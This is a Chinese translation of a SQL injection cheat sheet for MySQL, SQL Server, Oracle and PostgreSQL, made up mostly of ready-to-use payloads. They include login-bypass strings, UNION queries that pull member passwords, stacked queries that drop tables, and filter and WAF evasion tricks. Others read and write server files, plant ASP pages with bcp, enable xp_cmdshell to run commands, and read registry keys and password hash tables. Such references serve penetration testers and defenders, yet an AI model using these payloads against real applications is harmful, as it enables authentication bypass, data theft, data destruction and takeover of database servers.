Yinz · 2015/08/19 10:37web
本文由Yinzo翻譯,轉載請保留署名。原文地址:ferruh.mavituna.com/sql-injecti…算法
文檔版本:1.4sql
如今僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每個場景都適用。現實場景因爲各類插入語、不一樣的代碼環境以及各類不常見甚至奇特的SQL語句,而常常發生變化。shell
樣例僅用於讀者理解對於「可能出現的攻擊(a potential attack)」的基礎概念,而且幾乎每個部分都有一段簡潔的概要數據庫
例子:後端
HAVING
來探測字段名(S)SELECT
查詢中使用ORDER BY
探測字段數(MSO+)@@version
(MS)註釋掉查詢語句的其他部分服務器
行間註釋一般用於註釋掉查詢語句的其他部分,這樣你就不須要去修復整句語法了。session
--
(SM)框架
DROP sampletable;--
dom
#
(M)
DROP sampletable;#
用戶名:
admin'--
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
這會使你以admin身份登錄,由於其他部分的SQL語句被註釋掉了。經過不關閉註釋註釋掉查詢語句的其他部分,或者用於繞過過濾,移除空格,混淆,或探測數據庫版本。
/*註釋內容*/
(SM)
DROP/*comment*/sampletable
DR/**/OP/*繞過過濾*/sampletable
SELECT/*替換空格*/password/**/FROM/**/Members
/*! MYSQL專屬 */
(M)
這是個MySQL專屬語法。很是適合用於探測MySQL版本。若是你在註釋中寫入代碼,只有MySQL纔會執行。一樣的你也能夠用這招,使得只有高於某版本的服務器才執行某些代碼。 SELECT /*!32302 1/0, */ 1 FROM tablename
ID:
10; DROP TABLE members /*
簡單地擺脫了處理後續語句的麻煩,一樣你可使用10; DROP TABLE members --
SELECT /*!32302 1/0, */ 1 FROM tablename
若是MySQL的版本高於3.23.02,會拋出一個division by 0 error
ID:
/*!32302 10*/
ID:
10
若是MySQL版本高於3.23.02,以上兩次查詢你將獲得相同的結果
一句代碼之中執行多個查詢語句,這在每個注入點都很是有用,尤爲是使用SQL Server後端的應用
;
(S) SELECT * FROM members; DROP members--
結束一個查詢並開始一個新的查詢綠色:支持,暗灰色:不支持,淺灰色:未知
闡明一些問題。
PHP-MySQL不支持堆疊查詢,Java不支持堆疊查詢(ORACLE的我很清楚,其餘的就不肯定了)。通常來講MySQL支持堆疊查詢,但因爲大多數PHP-Mysql應用框架的數據庫層都不能執行第二條查詢,或許MySQL的客戶端支持這個,我不肯定,有人能確認一下嗎?
(譯者注:MySQL 5.6.20版本下客戶端支持堆疊查詢)
ID:
10;DROP members --
構成語句:SELECT * FROM products WHERE id = 10; DROP members--
這在執行完正常查詢以後將會執行DROP查詢。
根據If語句獲得響應。這是盲注(Blind SQL Injection)的關鍵之一,一樣也能簡單而準確地進行一些測試。
IF(condition,true-part,false-part)
(M)
SELECT IF (1=1,'true','false')
IF condition true-part ELSE false-part
(S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
(S)
若是當前用戶不是"sa"或者"dbo",就會拋出一個divide by zero error
。
對於繞過十分有用,好比magic_quotes() 和其餘相似過濾器,甚至是各類WAF。
0xHEXNUMBER
(SM)
(HEXNUMBER:16進制數) 你能這樣使用16進制數:
SELECT CHAR(0x66)
(S)
SELECT 0x5045
(M) (這不是一個整數,而會是一個16進制字符串)
SELECT 0x50 + 0x45
(M) (如今這是整數了)
與字符串相關的操做。這對於構造一個不含有引號,用於繞過或探測數據庫都很是的有用。
+
(S)
SELECT login + '-' + password FROM members
||
(*MO)
SELECT login || '-' || password FROM members
*關於MySQL的"||" 這個僅在ANSI模式下的MySQL執行,其餘狀況下都會當成'邏輯操做符'並返回一個0。更好的作法是使用CONCAT()
函數。
CONCAT(str1, str2, str3, ...)
(M)
鏈接參數裏的全部字符串 例:SELECT CONCAT(login, password) FROM members
有不少使用字符串的方法,可是這幾個方法是一直可用的。使用CHAR()
(MS)和CONCAT()
(M)來生成沒有引號的字符串
0x457578
(M) - 16進制編碼的字符串
SELECT 0x457578
這在MySQL中會被當作字符串處理
在MySQL中使用16進制字符串的一個簡單方式: SELECT CONCAT('0x',HEX('c:\\boot.ini'))
在MySQL中使用CONCAT()
函數: SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
(M)
這會返回'KLM'
SELECT CHAR(75)+CHAR(76)+CHAR(77)
(S)
這會返回'KLM'
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
(M)
這會顯示c:\boot.ini的內容
ASCII()
(SMP)
返回最左邊字符的ASCII碼的值。這是一個用於盲注的重要函數。
例:SELECT ASCII('a')
CHAR()
(SM)
把整數轉換爲對應ASCII碼的字符
例:SELECT CHAR(64)
經過union你能跨表執行查詢。最簡單的,你能注入一個查詢使得它返回另外一個表的內容。 SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
這會把news表和members表的內容合併返回。
另外一個例子: ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
當你使用Union來注入的時候,常常會遇到一些錯誤,這是因爲不一樣的語言的設置(表的設置、字段設置、表或數據庫的設置等等)。這些辦法對於解決那些問題都挺有用的,尤爲是當你處理日文,俄文,土耳其文的時候你會就會見到他們的。
使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS
(S)
或者其它的什麼語句,具體的本身去查SQL Server的文檔。 例:SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
Hex()
(M)
百試百靈~
SQL注入101式(大概是原文名字吧?),登錄小技巧
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
**舊版本的MySQL不支持union*
若是應用是先經過用戶名,讀取密碼的MD5,而後和你提供的密碼的MD5進行比較,那麼你就須要一些額外的技巧才能繞過驗證。你能夠把一個已知明文的MD5哈希和它的明文一塊兒提交,使得程序不使用從數據庫中讀取的哈希,而使用你提供的哈希進行比較。
用戶名:
admin
密碼:
1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055
其中81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
HAVING
來探測字段名(S)' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --
SELECT
查詢中使用ORDER BY
探測字段數(MSO+)經過ORDER BY來探測字段數可以加快union注入的速度。
ORDER BY 1--
ORDER BY 2--
ORDER BY N--
提示:
-1
或者根本不存在的值來搞定原查詢(前提是注入點在WHERE裏)。' union select sum(columntofind) from users--
(S)
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.
若是沒有返回錯誤說明字段是數字類型
一樣的,你可使用CAST()
和CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
沒報錯 - 語法是正確的。 這是MS SQL Server的語法。 繼續。
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
沒報錯 – 第一個字段是integer
類型。
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --
報錯 – 第二個字段不是integer
類型
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
沒報錯 – 第二個字段是string
類型。
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
報錯 – 第三個字段不是integer
……
Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.
你在遇到union錯誤以前會先遇到convert()錯誤,因此先使用convert()再用union
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
@@version
(MS)數據庫的版本。這是個常量,你能把它當作字段來SELECT,並且不須要提供表名。一樣的你也能夠用在INSERT/UPDATE語句裏面,甚至是函數裏面。
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
把文件內容插入到表中。若是你不知道應用目錄你能夠去讀取IIS metabase file(僅IIS 6)(%systemroot%\system32\inetsrv\MetaBase.xml)而後在裏面找到應用目錄。
line varchar(8000)
)BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
寫入文件。這個功能須要登陸 bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
因爲ActiveX的支持,你能在SQL Server中使用VBS/WSH
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Username:
'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
衆所周知的技巧,SQL Server 2005默認是關閉的。你須要admin權限
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
用ping簡單的測試一下,用以前先檢查一下防火牆和嗅探器。
EXEC master.dbo.xp_cmdshell 'ping '
若是有錯誤,或者union或者其餘的什麼,你都不能直接讀到結果。
Error Messages
master..sysmessages
Linked Servers
master..sysservers
Password (2000和2005版本的都能被破解,這倆的加密算法很類似)
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys.sql_logins
命令執行 (xp_cmdshell)
exec master..xp_cmdshell 'dir'
註冊表操做 (xp_regread)
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'
管理服務(xp_servicecontrol)
媒體(xp_availablemedia)
ODBC 資源 (xp_enumdsn)
新建進程 (實際上你想幹嗎都行)
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver
寫文件進UNC或者內部路徑 (sp_makewebtask)
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME() IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx
你不能在 SQL Server 的Insert查詢裏使用子查詢(sub select).
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
若是注入點在LIMIT的第二個參數處,你能夠把它註釋掉或者使用union注入。
若是你真的急了眼,';shutdown --
默認狀況下,SQL Server 2005中像xp_cmdshell以及其它危險的內置程序都是被禁用的。若是你有admin權限,你就能夠啓動它們。
`\
EXEC sp_configure 'show advanced options',1 RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE `\
SELECT name FROM sysobjects WHERE xtype = 'U'
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
修改WHERE,使用NOT IN或者NOT EXIST ... WHERE users NOT IN ('First User', 'Second User')
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)
-- 這個好用
髒的不行的小技巧
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int
Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
詳情請參考:Fast way to extract data from Error Based SQL Injections